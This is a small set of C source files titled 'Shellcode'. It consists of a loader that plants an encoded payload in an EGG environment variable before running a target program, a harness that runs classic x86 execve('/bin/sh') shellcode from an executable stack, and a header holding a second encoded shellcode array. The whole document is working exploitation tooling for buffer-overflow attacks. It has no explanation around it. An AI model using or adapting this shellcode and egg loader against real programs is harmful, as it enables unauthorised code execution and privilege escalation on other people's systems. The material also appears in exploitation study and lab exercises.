Shellcode

do_egg.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include "shellcode.h"

int main(int argc, char* argv[]) {
	if (argc < 2) {
		fprintf(stderr, "usage: %s <command> <arg1> ...\n", argv[0]);
		return 1;
	}

	fprintf(stderr, " [+] loading EGG of %d bytes\n", sizeof(buf));
	if (setenv("EGG", buf, 1) == -1) 
		perror(" [-] setenv");

	execvp(argv[1], argv + 1);

	perror(" [-] execvp");

	return 0;
}

shellcode.c

// execstack -s ./shellcode
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(){
	void (*sc)(void) = &shellcode;
	sc();
}

shellcode.h

unsigned char buf[] = 
"\xda\xde\xd9\x74\x24\xf4\x5f\xbe\xe0\x0f\x67\x59\x33\xc9\xb1"
"\x0b\x31\x77\x1a\x83\xef\xfc\x03\x77\x16\xe2\x15\x65\x6c\x01"
"\x4c\x28\x14\xd9\x43\xae\x51\xfe\xf3\x1f\x11\x69\x03\x08\xfa"
"\x0b\x6a\xa6\x8d\x2f\x3e\xde\x86\xaf\xbe\x1e\xb8\xcd\xd7\x70"
"\xe9\x62\x4f\x8d\xa2\xd7\x06\x6c\x81\x58";